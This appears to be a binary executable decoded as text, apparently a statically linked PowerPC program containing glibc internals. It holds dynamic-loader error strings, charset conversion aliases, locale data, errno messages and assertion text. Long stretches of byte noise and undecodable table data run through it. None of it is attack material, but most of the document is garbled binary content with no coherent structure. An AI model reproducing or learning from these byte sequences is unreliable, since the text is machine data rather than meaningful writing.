DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. out of memory LD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLD_PROFILE_OUTPUTLD_ASSUME_KERNELelf_get_dynamic_infosetup_vdso/proc/sys/kernel/osrelease,IGNORE//gconv.cirreversible != NULLoutbuf != NULL && *outbuf != NULL__gconvgconv_db.cstep->__end_fct == NULL-__gconv_release_stepUCS4//ISO-10646/UCS4/UCS-4//ISO-10646/UCS4/UCS-4BE//ISO-10646/UCS4/CSUCS4//ISO-10646/UCS4/ISO-10646//ISO-10646/UCS4/10646-1:1993//ISO-10646/UCS4/10646-1:1993/UCS4/ISO-10646/UCS4/OSF00010104//ISO-10646/UCS4/OSF00010105//ISO-10646/UCS4/OSF00010106//ISO-10646/UCS4/WCHAR_T//INTERNALUTF8//ISO-10646/UTF8/UTF-8//ISO-10646/UTF8/ISO-IR-193//ISO-10646/UTF8/OSF05010001//ISO-10646/UTF8/ISO-10646/UTF-8/ISO-10646/UTF8/UCS2//ISO-10646/UCS2/UCS-2//ISO-10646/UCS2/OSF00010100//ISO-10646/UCS2/OSF00010101//ISO-10646/UCS2/OSF00010102//ISO-10646/UCS2/ANSI_X3.4//ANSI_X3.4-1968//ISO-IR-6//ANSI_X3.4-1968//ANSI_X3.4-1986//ANSI_X3.4-1968//ISO_646.IRV:1991//ANSI_X3.4-1968//ASCII//ANSI_X3.4-1968//ISO646-US//ANSI_X3.4-1968//US-ASCII//ANSI_X3.4-1968//US//ANSI_X3.4-1968//IBM367//ANSI_X3.4-1968//CP367//ANSI_X3.4-1968//CSASCII//ANSI_X3.4-1968//OSF00010020//ANSI_X3.4-1968//UNICODEBIG//ISO-10646/UCS2/UCS-2BE//ISO-10646/UCS2/UCS-2LE//UNICODELITTLE//:gconv_conf.celem != NULLcwd != NULL/usr/lib/powerpc-linux-gnu/gconvmodulegconv-modules__gconv_get_pathISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODELITTLE//=ucs2reverse->INTERNAL=INTERNAL->ucs2reverseuz`4D0u`dtۘu`۬0gconv_builtin.ccnt < sizeof (map) / sizeof (map[0])__gconv_get_builtin_trans../iconv/skeleton.coutbufstart == NULLinend - *inptrp < 4gconv_simple.c*outptrp + 4 > outend../iconv/loop.c(state->__count & 7) <= sizeof (state->__value)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value)outbuf == outerrnstatus == __GCONV_FULL_OUTPUTch != 0xc0 && ch != 0xc1internal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internalinternal_ucs2_loop_single__gconv_transform_internal_ucs2ucs2_internal_loop_single__gconv_transform_ucs2_internalutf8_internal_loop_single__gconv_transform_utf8_internalinternal_utf8_loop_single__gconv_transform_internal_utf8internal_ascii_loop_single__gconv_transform_internal_ascii__gconv_transform_ascii_internalucs4le_internal_loop_unaligneducs4le_internal_loop__gconv_transform_ucs4le_internalinternal_ucs4le_loop_unaligned__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4GCONV_PATH/usr/lib/powerpc-linux-gnu/gconv/gconv-modules.cachegconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_enddo_release_shlib__gconv_find_shlib   LC_COLLATELC_CTYPELC_MONETARYLC_NUMERICLC_TIMELC_MESSAGESLC_PAPERLC_NAMELC_ADDRESSLC_TELEPHONELC_MEASUREMENTLC_IDENTIFICATION +3?HP[hw@LOCPATHdtxn- /../LC_ALLLANGfindlocale.clocale_codeset != NULL_nl_find_locale/usr/lib/locale$$#$$#$$d$T$D#$4$tV. p\P4\    loadlocale.ccategory == LC_CTYPE/SYS__nl_intern_locale_dataloadarchive.cpowerof2 (ps)last->next == mappedranges[cnt].from >= fromarchmapped == &headmap_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archiveupperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolower dV````lHH``HTLx (08Lx0123456789IexPT`@8d<`L8HHHHHI( (xx>>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 AExssaeIJij'nOEoesLJLjljNJNjnjDZDzdz'^'`_:~ -------'','"",,"+o...... ``````<>!!/???!!? C=RsEURINRa/ca/sCc/oc/ugHHHhIILlNNoPQRRRTEL(TM)ZOhmZBCeeEFMoiDdeij 1/3 2/3 1/5 2/5 3/5 4/5 1/6 5/6 1/8 3/8 5/8 7/8 1/IIIIIIIVVVIVIIVIIIIXXXIXIILCDMiiiiiiivvviviiviiiixxxixiilcdm<--><-><==><=>-/\*|:~<=>=<<>><<<>>>NULSOHSTXETXEOTENQACKBELBSHTLFVTFFCRSOSIDLEDC1DC2DC3DC4NAKSYNETBCANEMSUBESCFSGSRSUSSPDEL_NL(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(A)(B)(C)(D)(E)(F)(G)(H)(I)(J)(K)(L)(M)(N)(O)(P)(Q)(R)(S)(T)(U)(V)(W)(X)(Y)(Z)(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(0)-|+++++++++o::====== =(21)(22)(23)(24)(25)(26)(27)(28)(29)(30)(31)(32)(33)(34)(35)(36)(37)(38)(39)(40)(41)(42)(43)(44)(45)(46)(47)(48)(49)(50)hPadaAUbaroVpcpAnAuAmAkAKBMBGBcalkcalpFnFuFugmgkgHzkHzMHzGHzTHzulmldlklfmnmummmcmkmmm^2cm^2m^2km^2mm^3cm^3m^3km^3m/sm/s^2PakPaMPaGParadrad/srad/s^2psnsusmspVnVuVmVkVMVpWnWuWmWkWMWa.m.BqcccdC/kgCo.dBGyhaHPinKKKMktlmlnloglxmbmilmolPHp.m.PPMPRsrSvWbfffiflffifflst+___,.;:?!(){}#&*+-<>=\$%@!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzACDGJKNOPQSTUVWXYZabcdfhijkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABDEFGJKLMNOPQSTUVWXYabcdefghijklmnopqrstuvwxyzABDEFGIJKLMOSTUVWXYabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789012345678901234567890123456789 %,37:>BFJNRVY]aeimquy} !%*/49<AFILORUX[^adhknqtw|  #',269=BEHKNQUZ^aejptw{  "',16;@EJNSX\`dhlqtx}  &,28>DJPVZ^bfjnrvz $).38=BGLQV[`ejoty~ #(-27<?BEHKNQTWZ]`einqtz "(-15:>BFJNRVZ^bgmquy} '+/37;?CGKOSW[_cgmquy              " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }          " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j m p s v y |          ! $ ' * - 0 3 6 9 < ? B E H K N Q T W Z ] ` c f i l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }   "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~  #&),/258;>ADGJMPSVY\_behknqtwz}  "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~23IRS                     " $ % & / 5 6 7 9 : < D G H I _ ` a b c !!!!!! ! ! ! !!!!!!!!!!!!!!!"!$!&!(!,!-!.!/!0!1!3!4!9!E!F!G!H!I!S!T!U!V!W!X!Y!Z![!\!]!^!_!`!a!b!c!d!e!f!g!h!i!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}!~!!!!!!!"""""#"6"<"d"e"j"k""$$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$ $!$#$$$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$t$u$v$w$x$y$z${$|$}$~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%%% %%%%%$%,%4%<%*t*u*v002Q2R2S2T2U2V2W2X2Y2Z2[2\2]2^2_2222222222222223q3r3s3t3u3v33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333) MNOPRTUVWYZ[\_`abcdefhijk  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ԀԁԂԃԄԅԆԇԈԉԊԋԌԍԎԏԐԑԒԓԔԕԖԗԘԙԚԛԜԞԟԢԥԦԩԪԫԬԮԯ԰ԱԲԳԴԵԶԷԸԹԻԽԾԿ    !"#$%&'()*+,-./0123456789;<=>@ABCDFJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖ՗՘ՙ՚՛՜՝՞՟ՠաբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտ      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~րցւփքօֆևֈ։֊֋֌֍֎֏֐֑֖֛֢֣֚֒֓֔֕֗֘֙֜֝֞֟֠֡  "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~ 45789023456789?ANSI_X3.4-1968dtx``` d d d d d d d d d d d d d  UUUU?3333*$I$qEtUUU;I$8 yC^ 0 !d, =p ؝ {B^ $IܰB|Puq;V<$@ Hs\& Ѷ$I% uۜ @89 ;V<$ ;ྂ. m+L?NO0!P_$I%Wt;›&uEqN89$}H(k5Gf{3BLK@)akZn1<=.း̩BgBm骪 dg QJQyNOi@S/hKIb$I%5=C= #tHꈈ+s@yB4;A5e@>L<ѳ\@c)Am+089Ѷ0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZJTJTJTJTJTJTJTJTJTJTJTJTJTJTU,S@UPRdRpHOSUU`NPRJTJTJT       kn0mppPspqllwwpiikx w`xn`tPpuu0l w j0sPiirkkkkkkkkklwwpiikx w`xn`tPpuu0l w j0sPiikkkkkkkkkkkwwpiikx w`xn`tPpuu0l w j0sPiikkkkkkkkkkkukkkkx w`xn`kkkkl kkkkkkkkkkkkkkkkkkkkkx w`xn`tPpuu0l w j0sPkkkkkkkkkkkkkkikkkx w`xn`tPpuu0l w j0sPkkkto_outpunct(nil)vfprintf.cs->_flags2 & _IO_FLAGS2_FORTIFY*** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX(size_t) done <= (size_t) INT_MAX*** %n in writable segment detected *** __mbsinit (&mbstate)printf_positional_IO_vfprintf_internal(null)INFNANnaninfINFNANnaninf0.0001../stdio-common/printf_fphex.c*decimal != '\0' && decimalwc != L'\0'__printf_fphex||||||||||||||H@8 PT|||       p `@0 @ p`PpP   @ppppppppp @ p`PpP   @ppppppppppp @ p`PpP   @ppppppppppppppp`ppppPppppppppppppppppppppp`PpP pppppppppppppp @ppp`PpP ppp_IO_vfwprintf(nil)(null) 4444444444444444444444444444444 4444444HT\@@T\XXXXXXXXXXXXXXXXXXXXXXXXXXX0XX000XXXXXXXXXXXXXXX`XXXXXXX0X000X`XXXXD``XXX`XX`to_inpunctvfscanf.ccnt < MB_LEN_MAX_IO_vfscanf_internalSuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesResource temporarily unavailableCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesInappropriate ioctl for deviceText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical argument out of domainNumerical result out of rangeResource deadlock avoidedFile name too longNo locks availableFunction not implementedDirectory not emptyToo many levels of symbolic linksNo message of desired typeIdentifier removedChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of rangeProtocol driver not attachedNo CSI structure availableLevel 2 haltedInvalid exchangeInvalid request descriptorExchange fullNo anodeInvalid request codeInvalid slotFile locking deadlock errorBad font file formatDevice not a streamNo data availableTimer expiredOut of streams resourcesMachine is not on the networkPackage not installedObject is remoteLink has been severedAdvertise errorSrmount errorCommunication error on sendProtocol errorMultihop attemptedRFS specific errorBad messageValue too large for defined data typeName not unique on networkFile descriptor in bad stateRemote address changedCan not access a needed shared libraryAccessing a corrupted shared library.lib section in a.out corruptedAttempting to link in too many shared librariesCannot exec a shared library directlyInvalid or incomplete multibyte or wide characterInterrupted system call should be restartedStreams pipe errorToo many usersSocket operation on non-socketDestination address requiredMessage too longProtocol wrong type for socketProtocol not availableProtocol not supportedSocket type not supportedOperation not supportedProtocol family not supportedAddress family not supported by protocolAddress already in useCannot assign requested addressNetwork is downNetwork is unreachableNetwork dropped connection on resetSoftware caused connection abortConnection reset by peerNo buffer space availableTransport endpoint is already connectedTransport endpoint is not connectedCannot send after transport endpoint shutdownToo many references: cannot spliceConnection timed outConnection refusedHost is downNo route to hostOperation already in progressOperation now in progressStale file handleStructure needs cleaningNot a XENIX named type fileNo XENIX semaphores availableIs a named type fileRemote I/O errorDisk quota exceededNo medium foundWrong medium typeOperation canceledRequired key not availableKey has expiredKey has been revokedKey was rejected by serviceOwner diedState not recoverableOperation not possible due to RF-killMemory page has hardware error(<Xp 8D`p0@Xht,Pl0@Tp <\t Hd <d(<\t $DTl8h,Hd„œ°(@\hÀèҼҬҜҌ|ќttttttttttttt4tttttttttttttttԴtttttt4ttttt488888888ԸԈ8؈ؘؘxؘؘؘhؘؘؘXؘHؘؘ8ؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘؘ@0ذ `@00DDDDDDDDDDDDDDDDD$DDDDDDDDDT$D$DDDDۤ$DDD$DD$ 0000000000000000 0000000000000000@ πpiofwide.c_IO_fwidembrtowc.c__mbrtowcwcrtomb.c__wcrtombwcsrtombs.cdata.__outbuf[-1] == '\0'data.__outbuf != (unsigned char *) dst__wcsrtombs/proc/self/maps/lib/powerpc-linux-gnu//usr/lib/powerpc-linux-gnu//lib//usr/lib/ ELFELFGNUcannot allocate name recorddl-load.clastp != NULLcannot close file descriptorcannot create shared object descriptorcannot read file datacannot allocate memory for program headerobject file has no dynamic sectionshared object cannot be dlopen()edcannot enable executable stack as shared object requirescannot stat shared objectELF load command alignment not page-alignedELF load command address/offset not properly alignedobject file has no loadable segmentscannot dynamically load executablefailed to map segment from shared objectcannot map zero-fill pagescannot change memory protectionsfile=%s [%lu]; generating link map r->r_state == RT_ADDfalse && "TLS not initialized in static application"type != ET_EXEC || l->l_type == lt_executable dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u file too shortinvalid ELF headerELF file data encoding not big-endianELF file version ident does not match current oneELF file OS ABI invalidELF file ABI version invalidnonzero padding in e_identinternal errorELF file version does not match current oneonly ET_DYN and ET_EXEC can be loadedELF file's phentsize not the expected size:%s
search path= (%s from file %s) (%s) trying file=%s ORIGINPLATFORMLIBlib/powerpc-linux-gnu(l)->l_name[0] == '\0' || IS_RTLD (l)cannot create cache for search pathcannot create RUNPATH/RPATH copycannot create search path arraysystem search pathpelem->dirname[0] == '/':; file=%s [%lu]; needed by %s [%lu] file=%s [%lu]; dynamically loaded by %s [%lu] nsid >= 0nsid < GL(dl_nns)find library=%s [%lu]; searching RPATHRUNPATHwrong ELF class: ELFCLASS64cannot open shared object file_dl_map_object_from_fdadd_name_to_object_dl_map_objectexpand_dynamic_string_token_dl_init_pathsdl-lookup.cversion->filename == NULL || ! _dl_name_match_p (version->filename, map)symbol=%s; lookup in file=%s [%lu] (no version symbols), version protectednormalversion == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0version != NULLsymbol %s version %s not defined in file %s with link time reference%srelocation errorundefined symbol: %s%s%ssymbol lookup error file=%s [%lu]; needed by %s [%lu] (relocation dependency) binding file %s [%lu] to %s [%lu]: %s symbol `%s' [%s] (bitmask_nwords & (bitmask_nwords - 1)) == 0_dl_setup_hashcheck_match_dl_lookup_symbol_xunexpected reloc type 0xunexpected PLT reloc type 0xcannot allocate memory in static TLS block (lazy)cannot make segment writable for relocationcannot restore segment prot after reloc relocation processing: %s%s ../sysdeps/powerpc/powerpc32/dl-machine.hHAVE_STATIC_TLS (map, sym_map)%s: out of memory to store relocation results for %s cannot apply additional memory protection after relocationelf_machine_rela/etc/ld.so.nohwcapcannot create capability listtlsdl-hwcaps.cm == cnt_dl_important_hwcaps =???dl-misc.cpid >= 0 && sizeof (pid_t) <= 4niov < NIOVMAX! "invalid format specifier"_dl_debug_vdprintf%s: cannot open file: %s %s: cannot stat file: %s %s: cannot map file: %s %s: cannot create file: %s seconds.profile%s: file is no correct profile data file for `%s' Out of memory while initializing profiler cannot allocate memory for thread-local data: ABORT ../elf/dl-tls.cresult <= GL(dl_tls_max_dtv_idx) + 1result == GL(dl_tls_max_dtv_idx) + 1listp->slotinfo[cnt].gen <= GL(dl_tls_generation)map->l_tls_modid == total + cntmap->l_tls_blocksize >= map->l_tls_initimage_sizelistp != NULLidx == 0cannot create TLS data structuresdlopen_dl_add_to_slotinfo_dl_allocate_tls_init_dl_next_tls_modid/proc/self/exe../sysdeps/unix/sysv/linux/dl-origin.clinkval[0] == '/'_dl_get_originFatal error: length accounting in _dl_exception_create_format Fatal error: invalid format in exception string out of memorytޔ/etc/ld.so.cache search cache=%s ld.so-1.7.0glibc-ld.so.cache1.10DP@  llllllllPDDlp@llllllllllllllllllllllllllllllllllllllllll0lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll../sysdeps/powerpc/powerpc32/dl-machine.cmapend > mapstart relocation at 0x00000000 for symbol `R_PPC_ADDR24R_PPC_ADDR16R_PPC_UADDR16R_PPC_ADDR14R_PPC_REL24%s: Symbol `%s' has different size in shared object, consider re-linking R_PPC_DTPREL16R_PPC_TPREL16__elf_preferred_addressGLIBC_PRIVATE_dl_open_hook_dl_open_hook2error while loading shared libraries%s: %s: %s%s%s%s%s DYNAMIC LINKER BUG!!! d  H^[yY]^[nN] d.       4  'u'uH dP  .H dptx|$,4<HP\hlp       $4D`|(8HXhx,Dh\p 0<H0: H$,4<HP\,Dh\p (8HXhxSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %YSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %Y d)H d     H%p%t%g%t%m%t%f d L          H%a%N%f%N%d%N%b%N%s %h %e %r%N%C-%z %T%N%c%N d   H+%c %a %l dHi18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999i18n:1999 d <x    HISO/IEC 14652 i18n FDCC-setISO/IEC JTC1/SC22/WG20 - internationalizationC/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn VKeld Simonsenkeld@dkuug.dk+45 3122-6543+45 3325-6543ISO1.01997-12-20 dX<H  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~UUUUUUUU?33333333*$I$I$qqqEt]EUUUUUUU;;I$I$I888 yC^Pה5 0 0 0 . !d, =p =p ؝؝ {B^З% $I$I$ܰ=B!B|PuPuPqq?strtod_l.cdigcnt > 0*nsize < MPNSIZEdecimal_len > 0initylead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAX / 4lead_zero == 0 && int_no <= (uintmax_t) INTMAX_MAXdig_no >= int_nolead_zero <= (base == 16 ? ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN) / 4 : ((uintmax_t) exponent - (uintmax_t) INTMAX_MIN))bits != 0int_no <= (uintmax_t) (exponent < 0 ? (INTMAX_MAX - bits + 1) / 4 : (INTMAX_MAX - exponent - bits + 1) / 4)dig_no > int_no && exponent <= 0 && exponent >= MIN_10_EXP - (DIG + 2)int_no > 0 && exponent == 0int_no == 0 && *startp != L_('0')need_frac_digits > 0numsize == 1 && n < dnumsize == densizecy != 0str_to_mpn____strtof_l_internal?numsize < RETURN_LIMB_SIZEempty == 1____strtod_l_internal``|?./strtod_l.c____strtold_l_internal d'B@;  62kg /SPL8m J G d'o#-mA[jn8dڧ?O.>ߙ 8#t/Ͱڦ3&N.|Ӈ[ٟr/kPJnpՕ&qnf6$!%/"Q.O]2WqS$_c^fs*Iw\i[sCEFiHs 8c4)[+rn|![ŸN 5L},Df4}lC΃}#+#>Ue`Q!\4cY+1*biZB[zt"4?޳m1keK6kuGـ (1fj3j{~h6<㠸BbuQlDYu1e?V5RI@J[A#^FI6sSI* GpIl?[b -C9I40]%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz%s%s%s%s%s%s: %s_dlfcn_hook||<||\unsupported dlinfo requestinvalid namespaceUnknown errordl-runtime.cELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT_dl_profile_fixup_dl_fixupcannot extend global scope add %s [%lu] to global scope dl-open.cns == l->l_nsinvalid mode for dlopen()no more namespaces available for dlmopen()invalid target namespace in dlmopen()_dl_debug_initialize (0, args.nsid)->r_state == RT_CONSISTENTobject=%s [%lu] scope %u: %s no scope mode & RTLD_NOLOADopening file=%s [%lu]; direct_opencount=%u _dl_debug_initialize (0, args->nsid)->r_state == RT_CONSISTENTcannot create scope listTLS generation counter wrapped! Please report this.imap->l_need_tls_init == 0dl_open_worker_dl_open_dl_find_dso_for_objectdl-close.c! should_be_thereold_map->l_tls_modid == idx closing file=%s; direct_opencount=%u idx == nloaded(*lp)->l_idx >= 0 && (*lp)->l_idx < nloadedjmap->l_idx >= 0 && jmap->l_idx < nloadedimap->l_ns == nsidimap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0 calling fini: %s [%lu] tmap->l_ns == nsiddlcloseimap->l_type == lt_loadednsid == LM_ID_BASEimap->l_prev != NULL file=%s [%lu]; destroying link map TLS generation counter wrapped! Please report as described in . shared object not openremove_slotinfo_dl_close_worker_dl_var_initinvalid mode parameterDST not allowed in SUID/SGID programsdl-deps.ccannot load auxiliary `%s' because of empty dynamic string token substitution empty dynamic string token substitutionload auxiliary object=%s requested by file=%s cannot allocate dependency listmap->l_searchlist.r_list == NULLcannot allocate symbol search listFilters not supported with LD_TRACE_PRELINKINGcnt <= nlistmap->l_searchlist.r_list[0] == map_dl_map_object_deps calling init: %s calling preinit: %s unsupported version %s of Verneed recorddl-version.cneeded != NULLchecking for version `%s' in file %s [%lu] required by file %s [%lu] no version information available (required by %s)def_offset != 0unsupported version %s of Verdef recordweak version `%s' not found (required by %s)version `%s' not found (required by %s)version lookup errorcannot allocate version reference tablematch_symbol_dl_check_map_versionsRTLD_NEXT used in code not dynamically loaded`F!""X!!"d"d"d"d!!!!%(%&$&D&d&'4'((D())D)**D*+$+,t,-.4/ / / / / / / / / / / / / / / / / / / / / / $.%48999999t9d9T889494=d=<<< ??>=?[\\[\<]]]]\\\L[\<HhXH@` p0ŀ0  &'0ŀ0  p&'00 0  &'0 $Pp P &'@ $PPŀP p&' $PӠ`ŀP &'2@)0( 2 0-00&&&&&'@  $ 000&&&&@  `P0P&&&&zR|A $(PAMA4@PAPCAL ExNtNhtRAPEAK  HFm F GFCAHD x A E^AAF HT CAALVA`OA  A r AG A A hZXABzPLR|A 0 o bAFA^ AAB 4Tw bA0GAf AAA @~8 cA AD AAAAxAAAB BB ALhAO D @hHhA0B AGAh AAA N ACC tAB(l@A0EA| AAA t c-A`E F O AAAABB]AAAAF F DAFB DATABApALABAAA AAAAAAAAA AA AAAAAAAAAA` AFAJEKAHQdAAAJAACAIA AAAA MA J A R UXAABBCDD AAhAAAAIDCADJFU AAECAAAB \YC HDH HAAAAD DD DED AAAAAB DPD DB AAAAACJ h H BB E AAAAAAAACAADA A A A AAAAA(8dA CAJ ABD CAAL|A0AO AAAAaAAG D DA_DAQACAAB AAAA<APBI AACBAACAAvAAAAAAAPAFCAAAAFAKBPAHAAHAAAAAAAAACAAAAB AAAAAAAAA@dA CDq AB FDF KA B AAAN AC LAP BB B AAAP AA CBAAB A AAAR AD L AD LH(A CAQ C AGlGEAAC ADGD AAD H@A0ABDBCBBf ACACAAAAAADB0A ABAHAD AAAACB \ ACAFAI AAA$A0HAR AAD D AB \TA CAOAA$@A EABT AAC @A0EAGm ACC w ABC |p8 cBH0GAGB^AlAAH0AhlDDAL0AV AA lDLA CAMAAD pAIAu AAD AxOEGO A T A FB HAB0 @A GD ABAMAHA AEA$ $`AHAg AAC 0 LA B ACAP BAD GBA8 `A B AEAW AAD LAA DADFE AACALAGW]AAAAAICAIAoA J T UBBABAl AAARAA AHLACF ADAMDAB AJACJADADADADD CABAABAAAAD GED H DAAAB AAAAAAAFAAAAAAACAA AA AAA A AAAAA LADH dA ABC AAAAA^ABAMD ACAAAl A0BHF AAAAPBAJ A A AAAAJ CAD H CAA DLW AAA BACAA 0@A0EAICDALAAAFAAC0A_ AAAAADA KAAABACA0ALAAGDABBC0AB\ A CJF ADAA_DBAAA M C PAJAIADAAA84LI CAL AAC AMBBAA AEp(AE B AA0ABDBAG AAAFLBAEAADB0ATLCAACAAC0\AHAA AAABTAA 